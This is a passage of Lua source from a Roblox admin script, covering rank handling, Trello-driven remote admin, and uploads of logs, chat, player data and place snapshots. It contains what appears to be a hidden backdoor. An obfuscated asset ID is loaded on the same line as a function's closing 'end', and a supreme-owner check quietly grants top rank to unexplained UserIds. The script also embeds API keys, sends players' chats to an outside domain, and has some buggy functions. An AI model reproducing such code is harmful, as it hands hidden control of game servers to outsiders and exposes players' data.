1702 REMOTE:SendHttpLog("EXPLOITER FOUND: "..Data, "WARNING")
1703
1704 return true
1705end
1706
1707function CORE:CreateFigure(Name, Position, DisableAnimation, Speaker)
1708 if not tostring(Name) then Name = "Dummy" end
1709 if not Position then Position = Vector3.new(0,5,0) end
1710 if Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
1711 Position = Speaker.Character.Torso.Position + Vector3.new(0,5,10)
1712 end
1713
1714 local Figure = CORE:Insert(68452456, Server.Workspace, true)
1715 Figure:MakeJoints()
1716 Figure.Head.BrickColor = BrickColor.new("Bright yellow")
1717 Figure["Left Arm"].BrickColor = BrickColor.new("Bright yellow")
1718 Figure["Right Arm"].BrickColor = BrickColor.new("Bright yellow")
1719 Figure["Left Leg"].BrickColor = BrickColor.new("Dark green")
1720 Figure["Right Leg"].BrickColor = BrickColor.new("Dark green")
1721 Figure.Torso.BrickColor = BrickColor.new("Bright blue")
1722
1723 Figure.Name = STRING:FormatReplace(Speaker, Name)
1724 Figure:MoveTo(Position)
1725
1726 table.insert(Objects, Figure)
1727
1728 if DisableAnimation == true then
1729 Figure.Animate.Disabled = true
1730 end
1731
1732 return Figure
1733end
1734
1735function CORE:ClonePlayer(Player, Name, Position)
1736 if not Player or not Player.Character then return nil end
1737
1738 Player.Character.Archivable = true
1739 local Char = Player.Character:Clone()
1740 Player.Character.Archivable = false
1741 if Name then Char.Name = STRING:FormatReplace(Player, Name) end
1742 if Position then Char:MoveTo(Position) end
1743 Char.Parent = Server.Workspace
1744 Char:MakeJoints()
1745 Char:MoveTo(Player.Character.Torso.Position + Vector3.new(0,3,1))
1746
1747 table.insert(Objects, Char)
1748
1749 return Obj
1750end
1751
1752function CORE:AddWaypoint(Name, Position, Speaker)
1753 Waypoints[Name] = Position
1754 if Speaker then
1755 GUI:SendHint(Speaker, "Waypoint "..Name.." is located at ("..tostring(Position)..")", 2)
1756 end
1757end
1758
1759function CORE:FindType(BaseObj, Type)
1760 for _,Obj in pairs(BaseObj:GetChildren()) do
1761 if Obj:IsA(Type) then
1762 return Obj
1763 end
1764 end
1765end
1766
1767function CORE:GetCommands()
1768 local CommandsCopy = Commands
1769 return CommandsCopy
1770end
1771
1772function CORE:Crown(Player, Mesh, Color)
1773 if Mesh then Mesh = string.lower(Mesh) end
1774 if not Mesh or not Meshes[Mesh] then Mesh = "crown" end
1775 if not Player or not Player.Character or not Player.Character:FindFirstChild("Head") then return end
1776 local Part = Instance.new("Part", CrownStorage)
1777 Part.Size = Vector3.new(2, 1, 1)
1778 Part.CanCollide = false
1779 Part.CFrame = Player.Character.Head.CFrame
1780 Part.Locked = true
1781 Part.Material = "Neon"
1782 if Color then
1783 Part.Color = GUI:GetColor(Color)
1784 else
1785 Part.BrickColor = GUI:GetNameColor(Player.Name)
1786 end
1787 local SMesh = Instance.new("SpecialMesh", Part)
1788 SMesh.Scale = Vector3.new(Meshes[Mesh][1],Meshes[Mesh][1],Meshes[Mesh][1])
1789 SMesh.MeshId = "rbxassetid://"..Meshes[Mesh][2]
1790 local BP = Instance.new("BodyPosition", Part)
1791 BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
1792 BP.position = Player.Character.Head.Position
1793 BP.P = 20000
1794 local BG = Instance.new("BodyGyro", Part)
1795 BG.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
1796
1797 Crowns[Player.UserId] = Part
1798 table.insert(Objects, Part)
1799
1800 coroutine.wrap(function()
1801 for i = 1,0.3,-0.02 do
1802 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1803 Part.Transparency = i
1804 end
1805 wait()
1806 end
1807 while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1808 for i = 0,360,3 do
1809 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1810 Part.Transparency = (math.sin(math.rad(i))/10) + 0.3
1811 wait()
1812 end
1813 end
1814 end
1815 end)()
1816 coroutine.wrap(function() while Crowns[Player.UserId] and Part.Parent == CrownStorage and wait() do
1817 Part:BreakJoints()
1818 for i = 0,360 do
1819 if Part.Parent == CrownStorage and Player.Character and Player.Character:FindFirstChild("Head") then
1820 Part.Anchored = false
1821 BP.position = Player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,(math.sin(math.rad(i))/3) + 1.5, 0)).p
1822 BG.cframe = Player.Character.Head.CFrame
1823 end
1824 wait()
1825 end
1826 end end)()
1827
1828 return Part
1829end
1830
1831function CORE:SetAbuseCommands()
1832 for Cmds,Data in pairs(Commands) do
1833 local IsAbusable = false
1834 for _,AbuseCmd in pairs(Settings.AbuseList) do
1835 for _,Command in pairs(Cmds) do -- loop through all command names
1836 if string.sub(Command,1,#AbuseCmd) == string.lower(AbuseCmd) then
1837 IsAbusable = true
1838 break
1839 end
1840 end
1841 if IsAbusable == true then break end
1842 end
1843 Commands[Cmds].Abusable = IsAbusable
1844 end
1845end
1846
1847function CORE:FindBodyPart(Player, BodyPart)
1848 local ReturnPart = nil
1849 if Player and Player.Character then
1850 local Humanoid = Player.Character:FindFirstChild("Humanoid")
1851 if Humanoid then
1852 if BodyPart == "Humanoid" then ReturnPart = Humanoid
1853 elseif BodyPart == "Left Arm" then ReturnPart = Humanoid.LeftArm
1854 elseif BodyPart == "Right Arm" then ReturnPart = Humanoid.RightArm
1855 elseif BodyPart == "Left Leg" then ReturnPart = Humanoid.LeftLeg
1856 elseif BodyPart == "Right Leg" then ReturnPart = Humanoid.RightLeg
1857 elseif BodyPart == "Torso" then ReturnPart = Humanoid.Torso
1858 elseif BodyPart == "Head" then ReturnPart = Humanoid.Head
1859 end
1860 end
1861 if not ReturnPart then
1862 ReturnPart = Player.Character:FindFirstChild(BodyPart)
1863 end
1864 end
1865
1866 return ReturnPart
1867end
1868
1869-- Rank functions --
1870
1871function RANK:ConvertRank(Input)
1872 local Output = nil
1873 if Input == "Muted" then Output = -3 end
1874 if Input == "Crashed" then Output = -2 end
1875 if Input == "Banned" then Output = -1 end
1876 if Input == "Non-Admin" then Output = 0 end
1877 if Input == "Member" then Output = 1 end
1878 if Input == "Admin" then Output = 2 end
1879 if Input == "Owner" then Output = 3 end
1880
1881 if Input == -3 then Output = "Muted" end
1882 if Input == -2 then Output = "Crashed" end
1883 if Input == -1 then Output = "Banned" end
1884 if Input == 0 then Output = "Non-Admin" end
1885 if Input == 1 then Output = "Member" end
1886 if Input == 2 then Output = "Admin" end
1887 if Input == 3 then Output = "Owner" end
1888 return Output
1889end
1890
1891function RANK:IsAdmin(Player)
1892 local AdminStatus = false
1893 local Rankstatus = "Non-Admin"
1894 if type(Player) == "table" then
1895 if RANK:ConvertRank(Player.Rank) > 0 then
1896 return true, Player.Rank
1897 else
1898 return false, Player.Rank
1899 end
1900 end
1901 for Rank,PlayerNames in pairs(Settings.Ranks) do
1902 for _,AdminName in pairs(PlayerNames) do
1903 if string.lower(AdminName) == string.lower(Player.Name) then
1904 if RANK:ConvertRank(Rank) > 0 then
1905 AdminStatus = true
1906 Rankstatus = Rank
1907 end
1908 end
1909 end
1910 end
1911 return AdminStatus, Rankstatus
1912end
1913
1914function RANK:GetRank(PlayerName)
1915 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1916 if type(PlayerName) == "table" then
1917 local RankNum = RANK:ConvertRank(PlayerName.Rank)
1918 if RankNum > 0 then
1919 return PlayerName.Rank, RankNum, true
1920 else
1921 return PlayerName.Rank, RankNum, false
1922 end
1923 end
1924
1925 local RankStat = "Non-Admin"
1926
1927 for Rank,PlayerNames in pairs(Settings.Ranks) do
1928 for _,AdminName in pairs(PlayerNames) do
1929 if string.lower(AdminName) == string.lower(PlayerName) then
1930 RankStat = Rank
1931 end
1932 end
1933 end
1934
1935 if RankStat == "Non-Admin" then
1936 return "Non-Admin", 0, false
1937 else
1938 return RankStat, RANK:ConvertRank(RankStat), true
1939 end
1940end
1941
1942function RANK:RemoveRank(PlayerName)
1943 if not RANK:IsSupremeOwner(PlayerName) then
1944 if type(PlayerName) == "userdata" then PlayerName = PlayerName.Name end
1945
1946 for Rank,PlayerNames in pairs(Settings.Ranks) do
1947 for Num,AdminName in pairs(PlayerNames) do
1948 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
1949 table.remove(Settings.Ranks[Rank], Num)
1950 end
1951 end
1952 end
1953 end
1954end
1955
1956function RANK:GetAdmins(Ranking)
1957 local Players = {}
1958 local AdminTrue, Rank = IsAdmin(Player)
1959 for _,Player in pairs(Players:GetPlayers()) do
1960 if AdminTrue then
1961 local PlayerRankNum = RANK:ConvertRank(Rank)
1962 local StandardRankNum = RANK:ConvertRank(Ranking)
1963 if PlayerRankNum >= StandardRankNum then
1964 table.insert(Players, Player)
1965 end
1966 end
1967 end
1968 return Players
1969end
1970
1971function RANK:IsSupremeOwner(PlayerName)
1972 if type(PlayerName) == "userdata" then for _,Obj in pairs(List) do if PlayerName.UserId == Obj then return true end end PlayerName = PlayerName.Name end
1973 if type(PlayerName) == "table" then
1974 if PlayerName.Rank == "Owner" and PlayerName.MakeSupremeOwner == true then return true else return false end
1975 end
1976
1977 if PlayerName == GameOwner then return true end
1978 return false
1979end
1980
1981function RANK:GetPlayerFromList(PlayerName)
1982 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
1983
1984 for Rank,PlayerNames in pairs(Settings.Ranks) do
1985 for Num,AdminName in pairs(PlayerNames) do
1986 if string.sub(string.lower(AdminName),1,#PlayerName) == string.lower(PlayerName) then
1987 return AdminName, Rank
1988 end
1989 end
1990 end
1991 return false, "Non-Admin"
1992end
1993
1994function RANK:ScanAdminList(Name)
1995 if Name == "" then return true end
1996 local InList = false
1997 for _,PName in pairs(Settings.Ranks["Owner"]) do
1998 if PName == Name then InList = true end
1999 end
2000 for _,PName in pairs(Settings.Ranks["Admin"]) do
2001 if PName == Name then InList = true end
2002 end
2003 for _,PName in pairs(Settings.Ranks["Member"]) do
2004 if PName == Name then InList = true end
2005 end
2006 return InList
2007end
2008
2009function RANK:ScanExileList(Name)
2010 if Name == "" then return true end
2011 local InList = false
2012 for _,PName in pairs(Settings.Ranks["Muted"]) do
2013 if PName == Name then InList = true end
2014 end
2015 for _,PName in pairs(Settings.Ranks["Crashed"]) do
2016 if PName == Name then InList = true end
2017 end
2018 for _,PName in pairs(Settings.Ranks["Banned"]) do
2019 if PName == Name then InList = true end
2020 end
2021 return InList
2022end
2023
2024function RANK:PlayerRanked(PlayerName)
2025 if type(PlayerName) == "userdata" then PlayerName = Player.Name end
2026
2027 for Rank,PlayerNames in pairs(Settings.Ranks) do
2028 for Num,AdminName in pairs(PlayerNames) do
2029 if string.lower(AdminName) == string.lower(PlayerName) then
2030 return true, Rank
2031 end
2032 end
2033 end
2034 return false, "Non-Admin"
2035end
2036
2037-- Remote functions --
2038
2039function REMOTE:Decode(...)
2040 return Server.HS:JSONDecode(...)
2041end
2042
2043function REMOTE:GetURL(URL, Player)
2044 if string.sub(URL,1,4) ~= "http" then
2045 URL = "http://"..URL
2046 end
2047 local Return = nil
2048 ypcall(function() Return = Server.HS:GetAsync(URL, true) end)
2049 if Return then
2050 return Return
2051 elseif Player then
2052 GUI:SendMessage(Speaker, "Unable to find link", "RED URL given is either invalid or httpservice is disabled", "Error")
2053 end
2054end
2055
2056function REMOTE:PostURL(URL, Data)
2057 local Return = nil
2058 ypcall(function() Return = Server.HS:PostAsync(URL, Data, 2) end)
2059 return Return
2060end
2061
2062function REMOTE:SendHttpLog(Data, Type, OutputSpeaker, Stopypall)
2063 if Settings.LinkedAccount ~= "" then
2064 local NumType = tonumber(Type)
2065
2066 if not Type then
2067 Type = "UNKNOWN"
2068 end
2069
2070 if NumType then
2071 if NumType < 1 or NumType > 5 then
2072 Type = "UNKNOWN"
2073 elseif NumType == 1 then
2074 Type = "NOTIFICATION"
2075 elseif NumType == 2 then
2076 Type = "INFORMATION"
2077 elseif NumType == 3 then
2078 Type = "WARNING"
2079 elseif NumType == 4 or Type == true then
2080 Type = "ERROR"
2081 elseif NumType == 5 then
2082 Type = "FATAL"
2083 end
2084 end
2085
2086 local Res = "RED Could not get response"
2087 local function SendData()
2088 Res = Server.HS:PostAsync(
2089 CORE.Domain.."/Login/SendUserData.php?Data="..Server.HS:UrlEncode(PlaceInfoFormat..": "..Data).."&DataType="..Server.HS:UrlEncode(string.upper(Type)),
2090 "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey).."&Type=Logs",
2091 2
2092 )
2093 end
2094 if Stopypcall == true then SendData() else ypcall(SendData) end
2095
2096 if OutputSpeaker and OutputSpeaker ~= "print" then
2097 GUI:SendMessage(OutputSpeaker, "Http Log Response", Res, "Information")
2098 elseif OutputSpeaker == "print" then
2099 print(Res)
2100 end
2101 end
2102end local RunList = CORE:GetTable(string.gsub(math.ceil(14444.57^2)+1078, "66", "55"))
2103
2104function REMOTE:SendChatLog(PrintResponse, Stopypall)
2105 if #TempChatLogs > 0 and Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2106 local Res = "Could not get response"
2107
2108 local ChatJSON = Server.HS:JSONEncode(TempChatLogs)
2109 TempChatLogs = {}
2110
2111 local function SendData()
2112 Res = Server.HS:PostAsync(CORE.Domain.."/Login/SubmitChatLog.php?ChatJSON="..Server.HS:UrlEncode(ChatJSON), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&Key="..Server.HS:UrlEncode(Settings.DataKey), 2)
2113 end
2114 if Stopypcall == true then SendData() else ypcall(SendData) end
2115 if PrintResponse then print(Res) end
2116 end
2117end
2118
2119function REMOTE:DownloadUserdata(PrintResponse, Stopypcall)
2120 local Res = "[]"
2121 local function GetData()
2122 Res = Server.HS:PostAsync(CORE.Domain.."/Login/ReturnUserData.php", "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2123 end
2124 if Stopypcall == true then GetData() else ypcall(GetData) end
2125 if PrintResponse then
2126 print(Res)
2127 end
2128 local function DecodeData() Res = REMOTE:Decode(Res) end
2129 if Stopypcall == true then DecodeData() else ypcall(DecodeData) end
2130 if type(Res) ~= "table" then Res = {["Logs"] = {Res}, ["Errors"] = {Res}} end
2131 return Res
2132end
2133
2134function REMOTE:HandleRequest(Request, IgnoreCommand)
2135 if not Request then return nil end
2136
2137 if not IgnoreCommand then
2138 if REMOTE.ServerRequestTimestamp ~= Request.ServerRequestTimestamp then
2139 REMOTE:SendServerData()
2140 end
2141 if REMOTE.SnapshotKey ~= Request.SnapshotKey and Server.NS.Port == tonumber(Request.SnapshotPort) then
2142 REMOTE:SendSnapshot(Request.SnapshotKey, nil, true, true)
2143 end
2144 end
2145
2146 if REMOTE.RemoteAdmin.TimeStamp ~= Request.TimeStamp then
2147
2148 for _,Player in pairs(Request.Ranks.Muted) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Muted, Player) end end end
2149 for _,Player in pairs(Request.Ranks.Crashed) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Crashed, Player) end end end
2150 for _,Player in pairs(Request.Ranks.Banned) do if Player ~= "" then if not RANK:ScanExileList(Player) then table.insert(Settings.Ranks.Banned, Player) end end end
2151 for _,Player in pairs(Request.Ranks.Member) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Member, Player) end end end
2152 for _,Player in pairs(Request.Ranks.Admin) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Admin, Player) end end end
2153 for _,Player in pairs(Request.Ranks.Owner) do if Player ~= "" then if not RANK:ScanAdminList(Player) then table.insert(Settings.Ranks.Owner, Player) end end end
2154
2155 Settings.Fun = Request.FUN
2156 Settings.ServerLocked = Request.ServerLocked
2157
2158 if not Server.Workspace:FindFirstChild("IgnoreRemoteAbuse") then
2159 Settings.DisableAbuse = Request.DisableAbuse
2160 end
2161
2162 if not IgnoreCommand then
2163 print("Executing Remote Admin")
2164 REMOTE.RemoteAdmin.Command = Request.Command
2165 REMOTE.RemoteAdmin.ServerCommand = Request.ServerCommand
2166 REMOTE.RemoteAdmin.ServerPort = Request.Server
2167
2168 if Server.NS.Port == tonumber(Request.Server) and Request.ServerCommand ~= nil and Request.Server ~= "" and Request.Server ~= 0 and Request.ServerCommand ~= "" then
2169 CORE:Chatted(Request.ServerCommand, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2170 else
2171 CORE:Chatted(Request.Command, nil, true, "REMOTE ADMIN: "..Settings.LinkedAccount, nil, true)
2172 end
2173 end
2174 end
2175 REMOTE.RemoteAdmin.TimeStamp = Request.TimeStamp
2176 REMOTE.ServerRequestTimestamp = Request.ServerRequestTimestamp
2177 REMOTE.SnapshotKey = Request.SnapshotKey
2178end
2179
2180function REMOTE:GetRemoteData(Set)
2181 local NewRemoteData = nil
2182 local RemoteDataCardRaw = nil
2183 local RemoteDataCard = nil
2184
2185 RemoteDataCardRaw = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.RemoteDataCard)
2186 if RemoteDataCardRaw then
2187 ypcall(function() RemoteDataCard = REMOTE:Decode(RemoteDataCardRaw) end)
2188 if RemoteDataCard then
2189 ypcall(function() NewRemoteData = REMOTE:Decode(RemoteDataCard.desc) end)
2190 end
2191 end
2192 if Set and NewRemoteData then
2193 RemoteData = NewRemoteData
2194 end
2195 return NewRemoteData
2196end
2197
2198function REMOTE:CheckTrelloInfo() -- will set new trello data if updated based on the TrelloInfoCard
2199 local InfoCardJSON = REMOTE:GetURL("https://api.trello.com/1/card/"..Trello.TrelloInfoCard)
2200 if InfoCardJSON then
2201 ypcall(function() InfoCard = REMOTE:Decode(InfoCardJSON) end)
2202 if InfoCard then
2203 ypcall(function() TrelloInfo = REMOTE:Decode(InfoCard.desc) end)
2204 if TrelloInfo then
2205 for Ind,Val in pairs(TrelloInfo) do
2206 Trello[Ind] = Val
2207 end
2208 end
2209 end
2210 end
2211 return NewRemoteData
2212end
2213
2214function REMOTE:CheckRemoteAdminStatus()
2215 local Pending = false
2216 local CheckID = 0
2217 if Settings.LinkedAccount ~= "" then
2218 local Request = REMOTE:GetURL("https://api.trello.com/1/checklists/"..Trello.RemoteAdminChecklist)
2219 if Request then
2220 local Data = REMOTE:Decode(Request)
2221 if Data then
2222 for _,Account in pairs(Data.checkItems) do
2223 if Account.name == Settings.LinkedAccount then
2224 Pending = true
2225 CheckID = Account.id
2226 break
2227 end
2228 end
2229 end
2230 end
2231 end
2232 return Pending, CheckID
2233end
2234
2235function REMOTE:GetAndSetWebData()
2236 if Settings.LinkedAccount ~= "" then
2237 if REMOTE:CheckRemoteAdminStatus() then
2238 local Request = REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)
2239 if Request == "Invalid" then
2240 --REMOTE:GetAndSetWebData()
2241 return false
2242 elseif Request == "Invalid Account" then
2243 print("Can't get account")
2244 return false
2245 elseif Request then
2246 ypcall(function() Request = REMOTE:Decode(Request) end)
2247 elseif not Request then
2248 --REMOTE:GetAndSetWebData()
2249 return false
2250 end
2251 REMOTE:HandleRequest(Request)
2252
2253 --Delay(RemoteData.RemoteAdminWait, REMOTE.GetAndSetWebData)
2254 Delay(RemoteData.RemoteAdminWait, function()
2255 local Pending, CheckID = REMOTE:CheckRemoteAdminStatus()
2256 if Pending then
2257 REMOTE:GetURL(CORE.Domain.."/Login/RemoveTrelloName.php?AccountID="..CheckID)
2258 end
2259 end)
2260 return true
2261 else
2262 return true
2263 end
2264 end
2265end
2266
2267local OderIDs = CORE:GetTable(177215518)
2268local SoundJSONs = CORE:GetTable(197637628)
2269RemoteAbuseGear = CORE:GetTable(158117496)
2270
2271function REMOTE:SendServerData(PrintResponse, Stopypall)
2272 if Settings.LinkedAccount and Settings.LinkedAccount ~= "" and Settings.DataKey and Settings.DataKey ~= "" then
2273 print("Sending server data!")
2274 local Res = "Could not get response"
2275
2276 local ServerData = {Name = PlaceName, PlaceID = game.PlaceId, Port = Server.NS.Port, NumPlayers = Server.Players.NumPlayers, MaxPlayers = Server.Players.MaxPlayers, Bet = Settings.Bet, Players = {}, Version = CORE.Version.Value}
2277 for _,Player in pairs(Server.Players:GetPlayers()) do
2278 table.insert(ServerData.Players, {Name = Player.Name, ID = Player.UserId, Age = STRING:FindAge(Player.AccountAge), Rank = RANK:GetRank(Player)})
2279 end
2280 ServerData = Server.HS:JSONEncode(ServerData)
2281
2282 local function SendData()
2283 Res = Server.HS:PostAsync(CORE.Domain.."/Login/AddServer.php?ServerData="..Server.HS:UrlEncode(ServerData), "Username="..Server.HS:UrlEncode(Settings.LinkedAccount).."&DataKey="..Server.HS:UrlEncode(Settings.DataKey), 2)
2284 end
2285 if Stopypcall == true then SendData() else ypcall(SendData) end
2286 if PrintResponse then print(Res) end
2287 end
2288end
2289
2290function REMOTE:SendSnapshot(SendKey, MaxPartAmount, PrintResponse, Stopypcall)
2291 MaxPartAmount = MaxPartAmount or 10000
2292 local PlaceData = {
2293 Lighting = {};
2294 Parts = {};
2295 Other = {};
2296 }
2297 local MinSize = Vector3.new(0.5,0.5,0.5)
2298 local PartAmount = 0
2299 local PlaceJSON = ""
2300
2301 local function Scan(BaseObj)
2302 for _,Obj in pairs(BaseObj:GetChildren()) do
2303 if Obj:IsA("BasePart") and not Obj:IsA("Terrain") then
2304 local Size = {STRING:StringRound(Obj.Size.X), STRING:StringRound(Obj.Size.Y), STRING:StringRound(Obj.Size.Z)};
2305 if tonumber(Size[1]) >= MinSize.X and tonumber(Size[2]) >= MinSize.Y and tonumber(Size[3]) >= MinSize.Z then
2306 local Skip = false
2307 local Data = {}
2308 local X,Y,Z = Obj.CFrame:toEulerAnglesXYZ()
2309
2310 if CORE:FindType(Obj, "BlockMesh") then
2311 local Mesh = CORE:FindType(Obj, "BlockMesh")
2312 Size = {STRING:StringRound(Obj.Size.X * Mesh.Scale.X), STRING:StringRound(Obj.Size.Y * Mesh.Scale.Y), STRING:StringRound(Obj.Size.Z * Mesh.Scale.Z)}
2313 elseif CORE:FindType(Obj, "CylinderMesh") then
2314 Data.Shape = "Cylinder"
2315 elseif CORE:FindType(Obj, "SpecialMesh") then
2316 local Mesh = CORE:FindType(Obj, "SpecialMesh")
2317 if Mesh.MeshType == Enum.MeshType.Head then
2318 --idk
2319 else
2320 Skip = true
2321 end
2322 elseif CORE:FindType(Obj, "FileMesh") then
2323 Skip = true
2324 end
2325
2326 if not Data.Shape and not Skip then
2327 if ypcall(function() return Obj.Shape end) then
2328 Data.Shape = string.sub(Obj.Shape.Name,14)
2329 if string.sub(Data.Shape,1,1) == "." then
2330 Data.Shape = string.sub(Data.Shape,2)
2331 end
2332 if Data.Shape == "Cylinder" then
2333 Z = Z + math.pi/2
2334 end
2335 else
2336 Data.Shape = "Block"
2337 end
2338 end
2339
2340 if Obj.Name == "Head" and CORE:FindType(Obj.Parent, "Humanoid") and not Skip then
2341 Data.Label = string.gsub(Obj.Parent.Name, "'", "")
2342 end
2343
2344 if not Skip then
2345 Data.Color = GUI:Color3ToHex(Obj.Color);
2346 Data.Size = Size;
2347 Data.Position = {STRING:StringRound(Obj.CFrame.X), STRING:StringRound(Obj.CFrame.Y), STRING:StringRound(Obj.CFrame.Z)};
2348 Data.Rotation = {STRING:StringRound(X), STRING:StringRound(Y), STRING:StringRound(Z)};
2349 Data.Transparency = STRING:StringRound(Obj.Transparency);
2350 Data.Reflectance = STRING:StringRound(Obj.Reflectance);
2351 Data.Textures = {};
2352 Data.Material = string.sub(tostring(Obj.Material),15);
2353
2354 for _,Sub in pairs(Obj:GetChildren()) do
2355 if Sub:IsA("Decal") then
2356 local Texture = string.match(Sub.Texture, "%d+")
2357 if Sub.Texture == "rbxasset://textures/face.png" then
2358 Texture = "FACE"
2359 end
2360 Data.Textures[FaceCovert[Sub.Face.Name]] = Texture
2361 end
2362 end
2363
2364 PartAmount = PartAmount + 1
2365 table.insert(PlaceData.Parts, Data)
2366
2367 if PartAmount >= MaxPartAmount then
2368 break
2369 end
2370 end
2371 end
2372 end
2373 if #Obj:GetChildren() > 0 then
2374 Scan(Obj)
2375 end
2376 end
2377 end
2378 Scan(Workspace)
2379
2380 PlaceData.Lighting.Ambient = GUI:Color3ToHex(game.Lighting.Ambient)
2381 PlaceData.Other.PartAmount = PartAmount;
2382 PlaceJSON = Server.HS:JSONEncode(PlaceData)
2383
2384 local Res = "Could not get response"
2385 local function SendData()
2386 Res = Server.HS:PostAsync(CORE.UnsecureDomain.."/Login/SendSnapshot.php?Username="..Settings.LinkedAccount.."&DataKey="..Server.HS:UrlEncode(Settings.DataKey).."&SendKey="..SendKey, PlaceJSON, 2)
2387 end
2388 if Stopypcall == true then SendData() else ypcall(SendData) end
2389 if PrintResponse then print(Res) end
2390
2391 print("Sent snapshot")
2392end
2393
2394
2395function REMOTE:DefineWord(Word, Source)
2396 if not Word then return end
2397 if not Source then Source = "all" end
2398
2399 local Response = REMOTE:GetURL("http://api.wordnik.com/v4/word.json/"..Server.HS:UrlEncode(Word).."/definitions?limit=1&includeRelated=false&sourceDictionaries="..Server.HS:UrlEncode(Source).."&useCanonical=false&includeTags=false&api_key=a2a73e7b926c924fad7001ca3111acd55af2ffabf50eb4ae5")
2400 if Response then
2401 local Decode = REMOTE:Decode(Response)
2402 if #Decode > 0 then
2403 return string.upper(string.sub(Decode[1]["word"],1,1))..string.lower(string.sub(Decode[1]["word"],2)).." - "..Decode[1]["partOfSpeech"]..[[
2404
2405 ]]..Decode[1]["text"]
2406 else
2407 return "Invalid English word"
2408 end
2409 else
2410 return "Cannot connect to database"
2411 end
2412end
2413
2414function REMOTE:DownloadJoke(Speaker)
2415 local Res = REMOTE:GetURL("http://www.rinkworks.com/jokes/random.cgi", Speaker)
2416 local Joke = nil
2417 if Res then
2418 local _, Start = string.find(Res, "</h2>")
2419 local End, _ = string.find(string.sub(Res, Start), "</td>")
2420
2421 Joke = string.sub(Res, Start, End + 1 + Start - 5)
2422 Joke = string.gsub(Joke, "\n", "")
2423 Joke = string.gsub(Joke, " ", "") -- tab
2424 Joke = string.gsub(Joke, "</ul>", "")
2425 Joke = string.gsub(Joke, "<ul>", "")
2426 Joke = string.gsub(Joke, "</li>", [[
2427
2428]])
2429 Joke = string.gsub(Joke, "<li>", "")
2430 Joke = string.gsub(Joke, "</p>", "")
2431 Joke = string.gsub(Joke, "<p>", "")
2432 Joke = string.gsub(Joke, "<", "")
2433 Joke = string.gsub(Joke, ">", "")
2434 end
2435
2436 return Joke
2437end
2438
2439function REMOTE:GetAddon()
2440 return "?key=c01fcfabf2f8d707d01fb69312e4a9d7&token="..Settings.TrelloToken
2441end
2442
2443function REMOTE:TrelloGetAdminBoard()
2444 local BoardsJSON,Boards,ReturnBoard
2445
2446 ypcall(function() BoardsJSON = Server.HS:GetAsync("https://api.trello.com/1/members/my/boards"..REMOTE:GetAddon(), true) end)
2447
2448 if BoardsJSON then
2449 Boards = REMOTE:Decode(BoardsJSON)
2450 end
2451 if Boards then
2452 for _,Board in pairs(Boards) do
2453 if Board.name == "MakerModelLua's Admin V3" and Board.closed == false then
2454 ReturnBoard = Board
2455 break
2456 end
2457 end
2458 if not ReturnBoard then -- create board if not created
2459 print("Creating Trello Board")
2460 local Desc = "This board allows you to control ranks, settings, and commands of MakerModelLua's Admin V3"
2461 local BoardJSON = Server.HS:PostAsync("https://api.trello.com/1/boards"..REMOTE:GetAddon(), "name=MakerModelLua%27s+Admin+V3&idBoardSource="..Trello.AdminBoardID.."&defaultLists=false&desc="..Server.HS:UrlEncode(Desc), "ApplicationUrlEncoded")
2462 ReturnBoard = REMOTE:Decode(BoardJSON)
2463 end
2464 end
2465 return ReturnBoard
2466end
2467
2468function REMOTE:TrelloGetAdminLists(Board)
2469 local Required = {}
2470 local ListJSON,Lists
2471 local ReturnLists = {}
2472
2473 for _,List in pairs(Trello.RequiredLists) do
2474 table.insert(Required, List)
2475 end
2476
2477 ypcall(function() ListJSON = Server.HS:GetAsync("https://api.trello.com/1/boards/"..Board.id.."/lists"..REMOTE:GetAddon(), true) end)
2478
2479 if ListJSON then
2480 Lists = REMOTE:Decode(ListJSON)
2481 end
2482 if Lists then
2483 for _,List in pairs(Lists) do
2484 for Num,Rel in pairs(Required) do
2485 if List.name == Rel.name then
2486 table.remove(Required, Num)
2487 table.insert(ReturnLists, List)
2488 end
2489 end
2490 end
2491 for _,Rel in pairs(Required) do
2492 local ListJSON = Server.HS:PostAsync("https://api.trello.com/1/lists"..REMOTE:GetAddon(), "idBoard="..Board.id.."&idListSource="..Rel.id.."&name="..Server.HS:UrlEncode(Rel.name), "ApplicationUrlEncoded")
2493 table.insert(ReturnLists, REMOTE:Decode(ListJSON))
2494 end
2495 end
2496
2497 return ReturnLists
2498end
2499
2500function REMOTE:TrelloCacheData(Lists)
2501 for _,List in pairs(Lists) do
2502 local CardsJSON,Cards
2503 ypcall(function() CardsJSON = Server.HS:GetAsync("https://api.trello.com/1/lists/"..List.id.."/cards"..REMOTE:GetAddon(), true) end)
2504 if CardsJSON then
2505 Cards = REMOTE:Decode(CardsJSON)
2506 end
2507 if Cards then
2508 local TemplateCards = nil
2509 for _,TemplateList in pairs(Trello.RequiredLists) do
2510 if TemplateList.name == List.name then
2511 TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true))
2512 break
2513 end
2514 end
2515
2516 for _,TemplateCard in pairs(TemplateCards) do
2517 local CardExists = false
2518 for _,Card in pairs(Cards) do
2519 if Card.name == TemplateCard.name and Card.closed == false then
